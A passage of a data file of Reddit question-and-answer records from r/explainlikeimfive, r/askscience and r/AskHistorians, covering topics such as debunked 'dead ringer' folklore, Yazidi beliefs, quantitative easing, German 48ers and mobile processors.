were used to drink ale or whisky. The combination would Sometimes knock the imbibers out for a couple of days. Someone walking along the road would take them for dead and prepare them for burial.. They were laid out on the kitchen table for a couple of days and the family would gather around and eat and drink and wait and see if they would wake up. Hence the custom of holding a wake.\n\nEngland is old and small and the local folks started running out of places to bury people. So they would dig up coffins and would take the bones to a bone-house, and reuse the grave. When reopening these coffins, 1 out of 25 coffins were found to have scratch marks on the inside and they realized they had been burying people alive... So they would tie a string on the wrist of the corpse, lead it through the coffin and up through the ground and tie it to a bell. Someone would have to sit out in the graveyard all night (the graveyard shift.) to listen for the bell; thus, someone could be, saved by the bell or was considered a dead ringer.\n\nAnd that's the truth....Now, whoever said History was boring.\n", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1bcvcv/how_much_of_this_is_actually_true/", "answers": {"a_id": ["c95q9w6", "c968uki"], "score": [35, 3], "text": ["Literally the same bunch of \"facts\" was submitted here a [month ago](_URL_0_). The general consensus seems to be \"these are all lies\".", "I'm kind of taken with the image of a canopy bed in a thatched hut with rats and bugs raining down from the ceiling.  And I suppose people started wearing powdered wigs because it protected them from bumping their heads when they were working down in the coal mines.\n\nThis is really hilarious.  There should be a sub for stuff like this, like maybe /r/grannyetymologies or /r/explainitlikeimlarrythecableguy."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/comments/19l68f/how_many_of_these_facebook_factoids_regarding/"], []]}
{"q_id": "71l4d9", "title": "\"time heals all wounds\" what exactly is happening here? why do you feel less \"hurt\" as time passes?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/71l4d9/eli5time_heals_all_wounds_what_exactly_is/", "answers": {"a_id": ["dnbjm1i", "dnbk7uu", "dnbkeah", "dnbn3ui", "dnbwecs", "dnc4ouf", "dnc77pa", "dnc8hlx"], "score": [6, 20, 2, 5, 2, 2, 4, 2], "text": ["its just that you learn to accept it and accept living with it. I lost my little brother a few years ago, i wanted to punch the first person who said that to me. Over time i understood what they meant, its not that you feel less hurt, its that you get used to the pain. ", "It takes time to understand and process what happened, your hormones and emotional state have a chance to return to relative normalcy, and you adjust to your new existence as a slightly hurt person.\n\nImagine the string of an instrument being plucked, it strongly vibrates, and the disturbance dissipates over time.\n\nYour current emotional state is sort of the sum of all the things that have happened to you, but the more recent things have a larger effect. So over time your wound is \"healed.\"\n\nObviously, in terms of physical wounds, if it isn't permanent damage then the passage of time allows your body to repair itself. So because time allows us to adjust to emotional hurt, and to repair ourselves from physical hurt, it heals \"all\" wounds.", "part of it is getting used to the person not being there.  but there's also what you with the time since their death.  perhaps you have unresolved issues with that person that will take a therapist to help you deal with.  problems don't necessarily go away after death. ", "This is due to what is known as, the fading affect bias. You have emotions attached to memories, and when you remember these memories, you experience those emotions. However, as time passes, your mind decides to \"fade\" the negative emotions attached to memories. ", "Other stuff happens, you discover that the world didn't end, friends rally around and comfort you, you start to see the bright side, you realize you may have dodged a bullet...The list goes on. Pain is freshest when it's new because the river of life washes it away. ", "We grow stronger and more resistant to almost everything over time. It's like how a blister becomes a callous. We can do it mentally too. Humans and life in general is very good at improving after taking damage.", "Time heals all wounds due to the fact we forget bits and pieces of our memories (mostly the bad parts). Same reason why people with Hyperthymesia have really hard times with relationships and other social aspects. They never forget how things made them feel and have a hard time letting things go because of that. They also tend dwell on the negative aspects of things since that's the stronger emotion.", "It is not just pain but pleasure that fades with time as well.  The phenomenon is called reversion to the mean.  No matter what good or bad things happen over time our mental state reverts back to normal."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "9fo803", "title": "Uluru is listed as the worlds largest rock. Is it truly an \u201cindividual stone\u201d or is it attached to bed rock? How was it formed?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/9fo803/uluru_is_listed_as_the_worlds_largest_rock_is_it/", "answers": {"a_id": ["e5z1cmc"], "score": [10], "text": ["Its not a sole rock sitting on top of 'earth' as such. Its a sedimentary layer that has been uplifted by 90degrees and this end pokes out. One end of the rock used to be 'down' and the other was 'up' and much newer. Its believed that the rock layer curves down 6-7km and then re-emerges some way away as The Olgas, another interesting rock formation."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2dj0ib", "title": "what do the yazidis believe and why does the islamics hate them so much?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2dj0ib/eli5_what_do_the_yazidis_believe_and_why_does_the/", "answers": {"a_id": ["cjpxfv1", "cjpy7ib", "cjq109a"], "score": [18, 3, 4], "text": ["It's not so much that Muslims hate Yazidis, and more that the ISIS hates everyone that isn't Muslim, and also every Muslim that isn't of their specific sect of Islam.\n\nThe Yazidis themselves are Kurdish in ethnicity, but are differentiated from the rest of the Kurds by their religion, which is a sort of vague cross between Zoroastrianism and Shia Islam along with their own folk stylings.", "In an overly-simplified form, most Yizidis believe in one god, but that he entrusted the world to seven angels, who then obviously take an important role in Yazidi culture.\n\nIS dislike everyone who isn't Salafi/Wahhabi, but also see Yazidis as polytheistic (the angels). As a result, Yazidis are worse in their eyes than adherents of Abrahamic religions, though those people aren't exactly invited to dinner.", "The Yazidis are monotheistic, however they believe that God created seven holy entities to take care of business, the chief one being Melek Taus, or the Peacock Angel.  The story of Melek Taus is similar to the Judeo-Christian story of Lucifer, in that he was the brightest and greatest of angels, who fell because of pride.  Unlike Lucifer, Melek Taus repented and was redeemed.\n\nThe story of Melek Taus is even more similar to the Muslim djinn Iblis, who became their Shaytan, in that both Melek Taus and Iblis refused to bow to Adam,the first man.  In Yazidi belief, this was a praiseworthy act, and God rewarded Melek Taus for it.  In Islam, Iblis was cast out for it.\n\nSo, Muslims (and some others) with a very rigid interpretation of their faith regard the Yazidi as devil worshippers. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2evp3c", "title": "In sword making, is it possible to fold the blade too many times ?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2evp3c/in_sword_making_is_it_possible_to_fold_the_blade/", "answers": {"a_id": ["ck3jz04"], "score": [11], "text": ["MSE here, definitely no. Folding doesn't weaken steel, but does enhance it's mechanical properties by increasing it's homogeneity.\n\nFolding carbonized iron into steel, such as before forming it into a blade, was a technique used by smiths that did not have the technology to properly smelt iron. To be clear, it's not strictly a sword-making technique, either. \n\nOne doesn't fold the steel into the shape of a blade, folding is just the process of refining the steel. It's by far the crudest and most difficult way to make steel, and what you get is not a molecularly uniform alloy, even after folding the steel thousands of times. Every \"fold\" starts and ends with a roughly rectangular hunk of iron riddled with carbon impurities. By hammering it out and folding it on itself, these impurities are very slowly blended together to form an alloy that approaches the characteristics of a perfectly homogenous steel alloy, the goal of the folding process. \n\nYou can observe that even genuine Japanese Katanas, which are folded \"thousands and thousands of times\", are still visibly impure on a microscopic level. The reason behind the incredibly complex and even ritualistic techniques behind the katana's construction, maintenance, and use as a weapon stem from the fact that Japan had very little iron and created their raw steel in literally the most difficult, time-consuming way possible.\n\nIf, however, you decided to fold the steel millions or billions of times, you would theoretically have perfect homogeneity and therefore the best mechanical properties possible with that composition. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "60ci0n", "title": "how can homotopy type theory be a foundation for math?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/60ci0n/eli5_how_can_homotopy_type_theory_be_a_foundation/", "answers": {"a_id": ["df5ojso"], "score": [2], "text": ["This is more technical than most ELI5 questions. Have you considered asking over at /r/askmath ?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1ihlwx", "title": "what is quantitive easing?", "selftext": "I am an intern at a financial institute and constant talk about bernacke and this policy have gone around but I don't understand it completely.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1ihlwx/eli5what_is_quantitive_easing/", "answers": {"a_id": ["cb4ko8u", "cb4modk", "cb4mp9f"], "score": [30, 2, 2], "text": ["One of the jobs of the Federal Reserve it to help set monetary policy for the United States.  One of the main ways it does this is by setting the Federal Fund Rate.  This is an interest rate that banks pay each other for interbank loans, but more importantly, almost all other interests rates (home loans, credit cards, etc) , directly or indirectly, are related to this rate.  The lower the interest rates, the easier it is to get a loan, which makes expansion (personal or business) easier, which generally increases growth.  When the economy is going along good, the Fed raises interest rates, which slows things down a bit, and when it's going poorly it drops interest rates to give things a boost.  What it's attempting to do is avoid boom/bust cycles (which obviously it can't eliminate given we are still recovering from a giant economic bubble bursting), and provide steady continuous long term growth.  In the wake of the housing bubble collapse, the Fed dropped interest rates from around 5.25% to it's current rate of 0.1%.  That's literally almost nothing, and it means that the Fed can't continue to use decreases in interest rates to spurn on the economy.  Given that the unemployment rate is still very high, and in general the economy is on unstable ground, this is a bit scary.  Basically the main nob that the Fed uses to push the economy into action got dialed to 11, and that's still not working.\n\nThat led the Fed to adopt an additional policy called Quantitative Easing (QE).  Basically the central bank purchases very large amounts of public bonds.  Bonds are traditionally a safe place to store you money, with low by reliable returns on investment.  By buying up large amounts of these bonds, they are denying people and companies from being able to have access to that safe place.  If you don't invest in anything (just keep a pile of cash sitting around) then the value decreases over time because of inflation.  So basically the Fed is forcing people to invest in some other project (like expanding business ventures) if they want a decent return on their investment.  This, coupled with historically low loan rates, means it's very good time to invest in those sorts of projects, which should increase their frequency, which should give the economy a kick in the pants.", "Literally, easing the quantity. Not enough money? Print more. What could go wrong?", "QE is when the federal government makes large, monthly purchases of government bonds and other securities from banks, using newly printed money. \n\nThis gives the banks a lot more money with which it can loan out at very low interest rates.\n\nThe goal is that the banks will use this money to provide affordable loans for businesses and consumers in an effort to help jump-start the economy.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3acny1", "title": "How might the recent discovery about Kennewick Man affect our understanding of ancient Native Americans?", "selftext": "A [study in Nature](_URL_0_) finds that \"Kennewick Man is closer to modern Native Americans than to any other population worldwide.\" \n\nMy only knowledge of Kennewick man comes from a single paragraph in Charles Mann's *1491* (The controversy that arose from its \"caucasoid\" features is used as an example of how archaeologists and anthropologists had trouble repelling baseless speculation when their last big theory, Clovis-First, was falling out of style). How has our understanding of Kennewick Man changed since its discovery? Does this new study do anything to change that understanding?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3acny1/how_might_the_recent_discovery_about_kennewick/", "answers": {"a_id": ["csccwu4"], "score": [3], "text": ["There was never really any doubt in the archaeological community (except a few fringes) that Kennewick man was an ancestor to Native Americans. The confusion, as you note, really stems from segments of the media and public not understanding that the term \"caucasoid\" doesn't mean that a person necessarily has European or Middle Eastern ancestry. The *Nature* article is good because it settles the issue for people in the public who persist in claiming that Kennwick man is of European descent (like certain Neo-Nazi groups). That said, it really is just confirmation of what archaeologists already knew was most likely going to be the outcome of any genetic testing, so it doesn't really change any of our interpretations about history in the Americas. "]}, "title_urls": [], "selftext_urls": ["http://www.nature.com/nature/journal/vnfv/ncurrent/full/nature14625.html"], "answers_urls": [[]]}
{"q_id": "15t8rj", "title": "Is there any way of knowing/measuring whether other earth-like planets have magnetic fields?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/15t8rj/is_there_any_way_of_knowingmeasuring_whether/", "answers": {"a_id": ["c7pqsgg", "c7prf4a"], "score": [3, 5], "text": ["At the moment we are only just able to detect extra-solar planets, mostly via indirect measurements. Earth like planets are notoriously hard to observe due the their low mass. From a brief goolge about, I found that magnetic fields have been observed with Jupiter mass planets orbiting close to its sun by observing how the planets interact and apparently observing \"hotspots\" from the sun of a period equal to that of the planet's orbit. With improvements in telescope design and technology, I don't see a reason why this method can not be used for earth-like planets.\n\nEDIT: Some sources [Small article](_URL_1_) and also  [a more complex paper](_URL_0_)", "Yes there is...but we aren't there yet.\n\nWe have been able to detect magnetic fields around Jupiter mass planets, specifically the so-called hot Jupiters. One way is to observe the interaction with the star, by matching cycles in the star's magnetic activity with the period of the planet's orbit gives you a clue to the magnetic field of the planet influencing the formation of active regions. As you might expect, this only works for these big bad planets close to their parent star.\n\nWe do have another promising method though, there are certain spectral lines that are used to measure magnetic fields, Ca II is the one I use but there are others. These lines have been observed to change in phase again on the period of the planets' rotation. What this is a direct detection of is magnetospheric emission from the planet, basically the stellar wind from the star interacts with the planet's magnetic field.\n\nThis is promising stuff but again, like all extrasolar planet stuff, is fairly new (last 10 years max) and is only being used on these giant planets. Part of the problem is that it is hard to detect smaller planets around younger stars (as they are generally noisier) and older stars can have significantly less stellar wind which lowers the signal to noise ratio of our measurement - our sun at 1 billion years old could have 20-30 times the solar wind it has today boosting the magnetospheric emissions by 20-30 times!\n\nA broader survey, rather than a star by star case study could push the limit on the lowest mass planet magnetospheres detected (around 0.2 jupiter mass) down to the magnetosphere produced by iron rich super earths around young stars. Beyond that I don't know how successful we will be.\n\nThat said, the more measurements of different things about extrasolar planets and their parent stars you can make the more accurate your modelling can be, there likely will be a point where we can be fairly certain of a magnetosphere around an Earth-like planet without ever detecting it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://iopscience.iop.org/1538-4357/609/2/L87/pdf/1538-4357_609_2_L87.pdf", "http://www.skyandtelescope.com/news/3308581.html?page=1&amp;c=y"], []]}
{"q_id": "5zqxoh", "title": "how does regulating the private industry hurt the economy?", "selftext": "With regulations making companies provide quality goods and services, treat employees fairly, and generally be as pleasant and civil as necessary, wouldn't that actually be helpful?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5zqxoh/eli5_how_does_regulating_the_private_industry/", "answers": {"a_id": ["df09kg6", "df0bep6", "df0c3vm"], "score": [2, 19, 4], "text": ["One could *argue* that it hurts the economy because regulation artificially *limits* what businesses can do, rather than just letting the free market decide everything. \n\nWhether this is an accurate statement or not is a different question. As you point out, one could argue that regulation is absolutely worth it. ", "The underlying theory of capitalism is that the free market will regulate the economy. For example quality, as a consumer I want quality products but quality products will cost more than poorly made products. Therefore, I need to make a choice either to buy quality or save my money. If everyone decides that they want quality then the cheaper products will go out of business or raise their quality in order to get people to buy it. Ultimately you end up with what most people wanted. Since most people wanted it, it would arguably be in society's best interest. Regulations force the market to do things without necessarily the analysis I went through. If you force a certain quality on companies then you refuse to allow people to potentially consider cheaper alternatives. \n\nNow pollutants get weird because in theory you would argue that if you don't want companies to pollute, you wouldn't buy from companies that do. Therefore, all companies would stop polluting in order to get you to come back (again assuming the majority of people think like you). However, if pollution isn't something most people care about, then you shouldn't force it on the market with regulations. The same can be said with regulations about employee work conditions and safety. Capitalism also assumes employees like anything else is a market. You have a group of people who can choose to work for various companies. If the workers want higher wages or better conditions, then they will go elsewhere and companies will be forced to adjust to get their workers back or shut down.  \n\nOf course there's arguments against this that consumers aren't informed enough to force the market to make changes or to learn about companies practices to be able to decide what to do and that workers effectively have no choice but to work. (This whole argument also ignores monopolies, brand loyalty, and other aspects of market behavior) This is why most people would argue some regulation is necessary. However, in theory, the market should do what's best and thus you shouldn't need governments stepping in and driving up costs for businesses for reasons some people find unnecessary. \n\nTl;dr in theory, the market will decide what is best simply by allowing consumers to make decisions about what products to buy and what companies to support. Regulations force the market to do things that might not necessarily be what most consumers care about and thus hurt the market by forcing companies to pay for things they other would not have to do and increasing costs. I tried to remove politics as much as possible and stick to theoretical framework. ", "Like most thing in real life, it's complicated.\n\nPrivate industry are really good at efficiency. If there is a way to keep the production cost low they will find it. And if you have competition that will keep the selling cost low. \n\nThe more regulation you put on a company, the higher the production cost become. They need to pay for security, increase the worker salary, pay more administration to make sure they follow all regulation, etc. If the production cost increase, they will increase the selling cost or will do less profit. Less profit mean that less investor will want to put their money into the company, which mean that the company will growth less and will created less jobs. Additionally, when you add more regulation it usually cost more to the state because they need people to prepare or make sure that everybody follow these regulation. If it cost more to the state, it need to increase taxes, which also slow down the growth of the economy.\n\nBut of course, private ownership only have one goal of more profit. So regulation are needed to protect the rights of worker, environment, safety, etc.\n\nSo the goal is to have a good balance because too much regulation mean less growth of the economy and not enough mean problems for the community. What is that balanced ideal position is a hot topic for debate. Not everybody agree on how much is too much and how much isn't enough."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "fup55s", "title": "What impacts did the German 48ers (refugees from the failed revolutions of 1848) have on Civil War Era American politics? (1850s/1860s)", "selftext": "I've already posted this question [a few months ago](_URL_0_), but I am posting this once more because I got no answers. :(\n\n\n[German immigration peaked during the period of 1850-1860](_URL_1_), with over 900,000 German immigrants immigrating to the United States. As well, it is reported that people from all over the world tried to enlist in the Union Army during the Civil War (though they were turned down because actively recruiting them would break neutrality laws) along with massive numbers of immigrants within the United States. (Out of 2 million Union soldiers, an estimated 543,000 were immigrants and another 317,000 were sons of immigrants)\n\nThis would mean that these refugees (many of which were in influential, high-level positions) would have a large influence on Civil War Era politics. So, what impacts did they have on Civil War Era American politics?\n\n---------\n\nAs well, **some separate questions I have are:**\n\n* What percent of the German refugees would be sympathetic towards 48ers but not a 48er?\n\n* Where did many of 48ers migrate to and why? (I've heard New York City, Chicago, Wisconsin, Missouri, and Texas which all seem like wildly different places)\n\n* What general resources would you recommend so that I can learn more about the role German 48ers played during this time period?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/fup55s/what_impacts_did_the_german_48ers_refugees_from/", "answers": {"a_id": ["fmeclic", "fmetmq3"], "score": [35, 21], "text": ["I've done a lot of research on this topic as it pertains to Italian nationalists who emigrated to the US in this period,  rather than Germans, but think I can offer some useful perspective. \n\nThe failed German revolution was part of a wave of successful and unsuccessful revolutions in Europe, and many of those revolutionaries sought to gain support from Americans by appealing to the language of American revolution. Lajos Kossuth, for instance, went on a tour around the U.S. after the revolution he led in Hungary failed, in attempt to garner American support. He didn't get the military or financial support he wanted, but was well received by American audiences, who generally loved the idea that their country's existence inspired European action and that their country's founding was a historical trigger point and that all other nations would eventually sculpt themselves in America's image. \n\nDuring the Civil War, both the Union and Confederacy sought to persuade European powers over to their side, often by claiming they were the true representatives of American democracy. This was a particularly important, but ultimately failed endeavor on the part of the Confederacy, because while declaring independence is often conceived of as the act of one country (or one group of rebels), true nationhood is reliant on formal recognition from other nations, who  agree to lend to that new nation, sign treaties with it, etc. In fact, the desire to keep European countries from recognizing the Confederacy significantly factored into Lincoln's decision to deliver the emancipation proclamation, because it kept countries like Britain, who were happy to see the US split, from being able to justify Confederate recognition to their people.\n\nCrucial to this PR campaign were (typically elite, wealthy) immigrants from 48, who served as important if often unofficial diplomats. For example, a very well connected Italian turned New Yorker named Vincenzo Botta made the case for the Union with the Italian king, visiting diplomats,  and in a series of articles published in Turin. Less elite European-born Americans also helped carry this message back to Europe. Out of New York, the Garibaldi Guard was a military regiment named after a popular Italian Risorgimento figure and comprised of immigrants from countries like Italy, Germany, and Hungary. \n\nIn sum, European revolutionaries from '48 and Americans in the Civil War often tried to appeal to each other with the language of democracy and revolution in attempt to achieve their own political aims, and the immigrants who represented both groups often served as important facilitators and symbols of this exchange.", "Thanks to /u/Goat_Island_Goat for their answer.  I study German immigration to the United States specifically, so I'll chime in here too\n\nThis is a big question, so I'm undoubtedly going to be papering over and omitting things. The short answer to \"what impacts did they have on Civil War Era American politics\" is that they probably didn't have much of an impact, but it's really hard to tell, because as you noted, there were hundreds of thousands of German-speaking immigrants who came to the United States in the period before the Civil War.  However, Bruce Levine estimates in *The Spirit of 1848: German Immigrants, Labor Conflict, and the Coming of the Civil War* that only around 2,000 of the immigrants who arrived in the wake of the 1848 Revolutions can really be considered 48ers in the standard sense of the term - namely, politically active, generally radical types.  Of course, the general political instability caused by the revolutions spurred more who may not otherwise have felt the need to leave, but it's also hard to separate that from the potato blight that was hitting northwest Germany around the same time.\n\nSo what effect did the 48ers actually have when they came to the United States?  As you would imagine, the majority of 48ers settled in predominantly German-speaking communities, where they encountered mixed receptions.  Mischa Honeck describes several prominent 48ers and their political activities in *We Are the Revolutionists: German-Speaking Immigrants and American Abolitionists after 1848*, and the standard story for most bona fide 48ers is a life of disillusionment and a laundry list of failed newspapers and periodicals.  The major obstacle to political integration within the German-speaking public sphere was an ongoing conflict between the so-called \"Grauen,\" German immigrants who had mainly arrived in the 1830s, and the \"Gr\u00fcnen,\" or those who arrived in the wake of 1848.  By and large, the newcomers were seen as rocking the boat and out of step with American political conditions; one German-American writing at the turn of the century wrote that this tension only resolved after several years in the United States, after which 48ers \"became most valuable citizens of the republic, as soon as their honest, but, under the circumstances, purposeless enthusiasm had changed into the sober endeavor to secure an existence by hard work and industry.\u201d (Georg von Skal, *History of German Immigration in the United States and Successful German Americans and Their Descendants,* 29).  This was the consensus among historians (mostly amateur historians) of German America in the nineteenth century; *Der Deutsche Pionier*, a historical periodical published in Cincinnati but circulated nationally in the 1870s-80s, counted among its contributors basically a \"who's who\" of German-American intellectuals, and the consensus was that most 48ers were essentially well-intentioned, but hare brained.  They did credit them, however, with generally raising the level of political consciousness of German-Americans, especially as it pertained to German membership in the Republican Party, of which more below.\n\nTo the extent that there was a concrete result from 48ers' political activity, it was mainly due to the actions of specific individuals who were able to bridge the gap between German- and English-speaking communities.  Carl Schurz is by far the most famous of these individuals, although Alison Clark Efford details several more in *German Immigrants, Race, and Citizenship in the Civil War Era,* as does Daniel Nagel in *Von republikanischen Deutschen zu deutsch-amerikanischen Republikanern: Ein Beitrag zum Identit\u00e4tswandel der deutschen Achtundvierziger in den Vereinigten Staaten, 1850-1861*.  If there is a single accomplishment you attribute to this group of 48ers, it was in creating an archetype of what Efford calls the \"freedom-loving German.\"  In essence, Schurz and others were able to tie the revolutionary ideals of 1848 to the free soil/free labor/antislavery views of the emerging Republican Party in the 1850s.  This was not an easy task, specifically because of the prominence of former Know-Nothings in the GOP.  That's why the antinativist clause in the 1860 Republican Presidential Platform was known as the \"German Plank\" - politicians like Schurz, and especially Friedrich Kapp, New York City's most prominent 48er, were able to convince large numbers of German-Americans to vote Republican only by emphasizing that the Republicans were sufficiently distanced from the Know-Nothings that they could unite around their other policies.\n\nThis gets to the question of how effective the 48ers actually were, though.  For a long time, something called the \"ethnocultural thesis\" held that after being reluctant to vote Republican in 1856, German-Americans flocked to support Lincoln in 1860, and this move, specifically, proved decisive in Lincoln's election.  On the face of it, there's a lot to support this; Lincoln famously bought the *Illinois Staats-Anzeiger,* Carl Schurz was employed as a stump speaker, and organizations such as Turner Societies (technically gymnastic societies, but more important as radical political groups) turned out publicly to support him.  The problem is, the numbers just don't support it.  At best, German-Americans in the North were split about 50/50, with significant regional variations.  It's also worth noting the dulled impact of individual personalities.  Carl Schurz was already famous by the mid-1850s and would be by far the most prominent German-American of the 19th century, but in his home state of Wisconsin, German-Americans went for Douglass.  In New York City, where Friedrich Kapp spared no effort on Lincoln's behalf, fully two thirds of the German wards went against him.   (See Walter Kamphoefner, \u201cGerman-Americans and Civil War Politics: A Reconsideration of the Ethnocultural Thesis\u201d).  So while there was definitely a shift between 1856 and 1860, it's hard to figure out how much of a shift, and how much credit you can give to 48ers' political activism.\n\nThat, I suppose, gives a very problematic and highly inaccurate possible answer to your question as to what percentage of German-Americans would have been sympathetic to 48ers.  In the end, there's really no way of knowing.\n\nWhere we *do* know 48ers had an outsized impact within the German-American community was in mobilization upon the outbreak of the Civil War.  That's a long story in itself, which I will write more on if you're interested, but I'll refrain for now because ideologically speaking it's not substantially different from the ideology of the \"freedom-loving German.\"\n\nAs far as settlement patterns are concerned, I'll give an oversimplified run down of the two broad categories of 48ers.  The smaller group were so-called \"Latin farmers.\"  These folks were intellectuals who generally had little to no actual agricultural experience, and the ones who moved to the Texas hill country (Friedrich Kapp's uncle, Ernst Kapp, settled here and is representative of that colonizing movement) and parts of Missouri and Wisconsin.  By and large, they didn't succeed in these farming endeavors.  The rest settled in urban areas, where their talents as journalists, lawyers, and such were more useful.  New York was an obvious choice because, even though we don't think of it as a largely ethnic German city, it contained the world's third largest urban German-speaking population in 1860.  Other cities like Milwaukee and Cincinnati were popular simply because of how large their German-American populations were; the former was more than half German, and as one German put it \"here is the most splendid company, beautiful women, splendid walks and boat rides, the most ambrosial air, and - *last but not least -* splendid lager beer.  What else could a German want to feel at home?\" (Rudolf Cronau,  *Von Wunderland zu Wunderland: Landschafts- und Lebensbilder aus den Staaten und Territorien der Union,* 5).  Casual misogyny aside, you can see the appeal of that environment, especially for someone who did not leave Germany of their own free will.\n\nIn terms of further reading, I'd recommend any of the stuff I quoted above, particularly Efford's work.  If you have any specific topics you'd like to look into more I'd be happy to come up with more titles.  Hope this answers your question, even if the answers are a bit dissatisfying.\n\nEdit - typos"]}, "title_urls": [], "selftext_urls": ["https://old.reddit.com/r/AskHistorians/comments/e8kk4i/what_impacts_did_the_german_48ers_refugees_from/", "https://www.dhs.gov/sites/default/files/publications/Yearbook_Immigration_Statistics_2008.pdf"], "answers_urls": [[], []]}
{"q_id": "156oxf", "title": "Are there any theoretical modes of information transmission that we can't understand yet? ", "selftext": "I know we can send and receive information through radio waves, and optical fiber, etc. But are there any modes that may be better or that we just don't understand yet? Maybe something on the wave spectrum that we can't view or measure with our current technology? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/156oxf/are_there_any_theoretical_modes_of_information/", "answers": {"a_id": ["c7jr92y", "c7ju6op"], "score": [6, 2], "text": ["It is possible but currently very ineffective to send messages using neutrinos. If this can be made useful, we could do things like send messages directly through the Earth instead of around its surface. Someone will probably bring up entanglement, but entanglement can't be used for communication (although it can be used for cryptography).", "[Orbital angular momentum of photons](_URL_3_). \n\nOrbital angular momentum (different from spin angular momentum) of photons was theoretically discovered as late as 1992. Orbital angular momentum encoding can be used to transmit information trough radio waves or trough optical fibers. It's relatively new field. There are no radio telescopes that can detect OAM for example. \n\n1. Orbital angular momentum of photons   \n_URL_3_\n1.  Light with a twist in its tail   \n_URL_4_\n1. PHOTON ORBITAL ANGULAR MOMENTUM IN ASTROPHYSICS   \n_URL_2_\n1. Orbital Angular Momentum (OAM)\nof light beams and photons   \n_URL_0_\n1. Detecting orbital angular momentum in radio signals   \n_URL_5_\n1.  Orbital angular momentum\u2014a new tool for space science and technology.\n_URL_1_\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["www.icranet.org/download/ESOP/Slides/barbieri2.pdf", "http://scientificbritain.com/post/17937731825/orbital-angular-momentum-a-new-tool-for-space", "http://iopscience.iop.org/0004-637X/597/2/1266/pdf/0004-637X_597_2_1266.pdf", "http://www.physics.gla.ac.uk/Optics/play/photonOAM/", "http://people.physics.illinois.edu/Selvin/PRS/498IBR/Twist.pdf", "http://www.aim.uu.se/Publications/Preprints/ThenEtAl:arxiv:2008.pdf"]]}
{"q_id": "5fez62", "title": "why is it that i visit websites and facebook/google automatically know that and give me targeted ads?", "selftext": "Why is it that I visit websites and Facebook/Google automatically know that and give me targeted ads?\n\nSome of these websites aren't even using Google Analytics or any Google/Facebook service, some no advertising network at all. But Facebook/Google/others still know.\n\nHow are they doing this?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5fez62/eli5_why_is_it_that_i_visit_websites_and/", "answers": {"a_id": ["dajq61h"], "score": [4], "text": ["When you visit websites  that link to pages of interest, they send your pseudo identity and your interest profile to central ad servers.    When you visit another page that has an ad spot for a remarketing ad, they pull your identity and interest profile and select those ads that are best matched to you.    Your pseudoidentity is an id number that's generated and kept on your browser as a cookie.   "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9q2wrd", "title": "if mobile processors are now (in some cases) overtaking laptop and desktop processors in terms of power why aren't they universally adopted into all laptops and you could make the battery last 10 times longer?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9q2wrd/eli5_if_mobile_processors_are_now_in_some_cases/", "answers": {"a_id": ["e8675g1", "e867hge", "e867qkz"], "score": [4, 36, 22], "text": ["Mobile processors use ARM architecture, which is a lot more efficient than the x86 architecture used in laptops and desktop computers, because it has less instructions and other stuff.\n\nSo why doesn\u2019t everybody use ARM, well, the problem is that we use x86 pretty much just for backwards compatibility, all normal windows programs just don\u2019t work on ARM, and Microsoft tried to fix this, by releasing windows 8 for ARM and and App Store with cross compatible apps, so you could used them both on older PCs and new ARM laptops, but that failed big time, since none of the big software companies supported that", "Your premise is wrong, mobile processors don't outperform desktop processors. Not by a long shot.", "Are they, though? \nShort answer: No. Mobile processors are a long, long way behind laptop and desktop CPUs. \n\nLong answer: Laptop and desktop processors do **a whole lot more things** than mobile processors do. The mobile CPU is very dedicated and streamlined in order to offer a great experience with the limited applications it is expected to perform. Laptop and desktop CPUs are extremely powerful and versatile components that handle so much more, so much more often, and so much better that there isn't even a meaningful way of comparing the two. \n\nTake standard benchmarking operations like LuxMark for example, and even the absolute top of the line smart phone processors score single digits, whereas even budget CPUs score in the triple digits. Laptop and desktop CPUs are better by orders of magnitude.\n\nBut that isn't to say that mobile CPUs are bad, either. It's just that they're specialized to do a different set of tasks. The question, then, becomes \"how do we compare them?\" To which the answer is, \"we don't. It's like comparing a CPU to a GPU and wondering why the numbers don't add up.\"\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
